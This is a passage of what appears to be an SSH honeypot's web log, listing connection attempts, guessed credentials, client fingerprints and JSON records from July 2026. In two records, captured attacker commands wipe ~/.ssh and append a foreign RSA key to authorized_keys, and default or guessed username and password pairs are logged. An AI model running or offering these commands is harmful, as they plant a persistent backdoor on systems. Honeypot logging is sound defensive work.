nonproductions.net banner
Logo
Subsystem: NO BONK

Adversarial Observation Interface

Page 895 / 7809 (390427 total records)
Passive Observation Node - Active Operational Overview
176.53.159.196
2026-07-28 16:28:25.120320 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 439fbee7cc7e
Client Version: SSH-2.0-Go
Engagement Duration: 1.2s
HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53
{
  "id": "439fbee7cc7e",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-28T16:28:25.120320Z",
  "end_time": "2026-07-28T16:28:26.291850Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
120.87.99.202
2026-07-28 16:27:27.129701 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: cd9883c993bb
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "cd9883c993bb",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:27:27.129701Z",
  "end_time": "2026-07-28T16:29:27.135663Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
120.87.99.202
2026-07-28 16:25:27.100223 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b9ffcb9483b4
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "b9ffcb9483b4",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:25:27.100223Z",
  "end_time": "2026-07-28T16:27:27.133566Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
120.87.99.202
2026-07-28 16:23:47.934965 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: vector

Record ID: b466f5ce9303
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 4.3s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "b466f5ce9303",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:23:47.934965Z",
  "end_time": "2026-07-28T16:23:52.207492Z",
  "duration": "4.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "vector",
      "pass": "vector"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
120.87.99.202
2026-07-28 16:21:52.614198 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 65105d9a1fc9
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "65105d9a1fc9",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:21:52.614198Z",
  "end_time": "2026-07-28T16:23:52.619826Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
120.87.99.202
2026-07-28 16:19:58.036987 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 76ac7597f9c2
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2m 0s
{
  "id": "76ac7597f9c2",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:19:58.036987Z",
  "end_time": "2026-07-28T16:21:58.047582Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
120.87.99.202
2026-07-28 16:18:02.221282 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f16b81b55bf0
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "f16b81b55bf0",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:18:02.221282Z",
  "end_time": "2026-07-28T16:20:02.228850Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
120.87.99.202
2026-07-28 16:16:05.768566 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ed81d8c797ef
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2m 0s
{
  "id": "ed81d8c797ef",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:16:05.768566Z",
  "end_time": "2026-07-28T16:18:05.776583Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
120.87.99.202
2026-07-28 16:14:30.325464 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 5f23426a85f2
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "5f23426a85f2",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:14:30.325464Z",
  "end_time": "2026-07-28T16:16:30.351119Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
120.87.99.202
2026-07-28 16:12:35.208519 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 3c3a00519783
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2m 0s
{
  "id": "3c3a00519783",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:12:35.208519Z",
  "end_time": "2026-07-28T16:14:35.218158Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
120.87.99.202
2026-07-28 16:10:38.023890 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ad0055509470
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "ad0055509470",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:10:38.023890Z",
  "end_time": "2026-07-28T16:12:38.031739Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
120.87.99.202
2026-07-28 16:08:43.108739 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 698a8563b49e
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2m 0s
{
  "id": "698a8563b49e",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:08:43.108739Z",
  "end_time": "2026-07-28T16:10:43.118580Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
193.46.255.86
2026-07-28 16:07:39.843158 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / black13

Record ID: 223d0c72e559
Client Version: SSH-2.0-PuTTY_Release_0.84
Engagement Duration: 6.0s
HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9
{
  "id": "223d0c72e559",
  "src_ip": "193.46.255.86",
  "start_time": "2026-07-28T16:07:39.843158Z",
  "end_time": "2026-07-28T16:07:45.854980Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "black13"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
120.87.99.202
2026-07-28 16:06:50.271911 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e4094b271ea3
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "e4094b271ea3",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:06:50.271911Z",
  "end_time": "2026-07-28T16:08:50.283674Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
45.148.10.147
2026-07-28 16:05:41.516893 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 82df08609d3c
Client Version: SSH-2.0-PUTTY
Engagement Duration: 0.8s
HASSH Fingerprint: 5bd26477da5440a6187bd3f1b39a429c
{
  "id": "82df08609d3c",
  "src_ip": "45.148.10.147",
  "start_time": "2026-07-28T16:05:41.516893Z",
  "end_time": "2026-07-28T16:05:42.290860Z",
  "duration": "0.8",
  "version": "SSH-2.0-PUTTY",
  "hassh": "5bd26477da5440a6187bd3f1b39a429c",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
120.87.99.202
2026-07-28 16:05:28.200549 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: ubuntu / 3245gs5662d34

Record ID: 6bbda78b13ff
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.1s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "6bbda78b13ff",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:05:28.200549Z",
  "end_time": "2026-07-28T16:05:29.278805Z",
  "duration": "1.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
120.87.99.202
2026-07-28 16:05:25.904089 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 11b7eabebac5
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2.1s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "11b7eabebac5",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:05:25.904089Z",
  "end_time": "2026-07-28T16:05:28.047293Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
120.87.99.202
2026-07-28 16:05:23.507250 UTC
SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: ubuntu / aa123456aa

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Record ID: dd4c0dd735e7
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 5.8s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "dd4c0dd735e7",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:05:23.507250Z",
  "end_time": "2026-07-28T16:05:29.288443Z",
  "duration": "5.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "aa123456aa"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}
120.87.99.202
2026-07-28 16:03:28.270457 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: c6f00d8d0ba4
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "c6f00d8d0ba4",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:03:28.270457Z",
  "end_time": "2026-07-28T16:05:28.274828Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
85.217.149.20
2026-07-28 16:02:38.238032 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 04e0d07f59a7
Client Version: \xee\xea\x9b2\xca#6Kv8\xf3Nj\xc2\xcb\xf6\xebk\x92
Engagement Duration: 0.0s
{
  "id": "04e0d07f59a7",
  "src_ip": "85.217.149.20",
  "start_time": "2026-07-28T16:02:38.238032Z",
  "end_time": "2026-07-28T16:02:38.243826Z",
  "duration": "0.0",
  "version": "\u0016\u0003\u0001\u0000\\xee\u0001\u0000\u0000\\xea\u0003\u0003\\x9b2\\xca#6Kv8\\xf3\u0001\u0004\u01cb\\xc2\\xcb\\xf6\\xebk\\x92",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
120.87.99.202
2026-07-28 16:01:31.204116 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 1d91efa06bfd
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2m 0s
{
  "id": "1d91efa06bfd",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:01:31.204116Z",
  "end_time": "2026-07-28T16:03:31.211915Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
120.87.99.202
2026-07-28 15:59:29.877360 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 3932875949d5
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "3932875949d5",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:59:29.877360Z",
  "end_time": "2026-07-28T16:01:29.946173Z",
  "duration": "120.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
176.53.159.196
2026-07-28 15:58:25.593261 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 0f4be54f1434
Client Version: SSH-2.0-Go
Engagement Duration: 1.2s
HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53
{
  "id": "0f4be54f1434",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-28T15:58:25.593261Z",
  "end_time": "2026-07-28T15:58:26.762465Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
2.57.121.112
2026-07-28 15:58:06.850278 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: ambria

Record ID: d8d573d279ef
Client Version: SSH-2.0-PuTTY_Release_0.84
Engagement Duration: 6.6s
HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9
{
  "id": "d8d573d279ef",
  "src_ip": "2.57.121.112",
  "start_time": "2026-07-28T15:58:06.850278Z",
  "end_time": "2026-07-28T15:58:13.432854Z",
  "duration": "6.6",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "ambria",
      "pass": "ambria"
    },
    {
      "user": "ambria",
      "pass": "ambria1"
    },
    {
      "user": "ambria",
      "pass": "ambria123"
    },
    {
      "user": "ambria",
      "pass": "ambria1234"
    },
    {
      "user": "ambria",
      "pass": "ambria12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
120.87.99.202
2026-07-28 15:57:32.724996 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: c86f93ab44ff
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2m 0s
{
  "id": "c86f93ab44ff",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:57:32.724996Z",
  "end_time": "2026-07-28T15:59:32.732720Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
120.87.99.202
2026-07-28 15:56:12.453267 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 65093358abb9
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.1s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "65093358abb9",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:56:12.453267Z",
  "end_time": "2026-07-28T15:56:13.601765Z",
  "duration": "1.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
120.87.99.202
2026-07-28 15:56:10.085954 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: fdeac64019b5
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2.2s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "fdeac64019b5",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:56:10.085954Z",
  "end_time": "2026-07-28T15:56:12.276945Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
120.87.99.202
2026-07-28 15:56:03.604524 UTC
SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / 258369

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Record ID: 6c200526e3a6
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 10.0s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "6c200526e3a6",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:56:03.604524Z",
  "end_time": "2026-07-28T15:56:13.598989Z",
  "duration": "10.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "258369"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}
120.87.99.202
2026-07-28 15:54:08.307185 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9837683b3ed2
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "9837683b3ed2",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:54:08.307185Z",
  "end_time": "2026-07-28T15:56:08.311799Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
120.87.99.202
2026-07-28 15:52:11.068153 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 36f9d8d8d2e1
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "36f9d8d8d2e1",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:52:11.068153Z",
  "end_time": "2026-07-28T15:54:11.075528Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
120.87.99.202
2026-07-28 15:50:14.669280 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7d4b43915cab
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "7d4b43915cab",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:50:14.669280Z",
  "end_time": "2026-07-28T15:52:14.677245Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
120.87.99.202
2026-07-28 15:48:20.778798 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a1c36d9507f5
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "a1c36d9507f5",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:48:20.778798Z",
  "end_time": "2026-07-28T15:50:20.790091Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
120.87.99.202
2026-07-28 15:46:55.377256 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: botuser

Record ID: d85f7a0fb473
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2.2s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "d85f7a0fb473",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:46:55.377256Z",
  "end_time": "2026-07-28T15:46:57.618695Z",
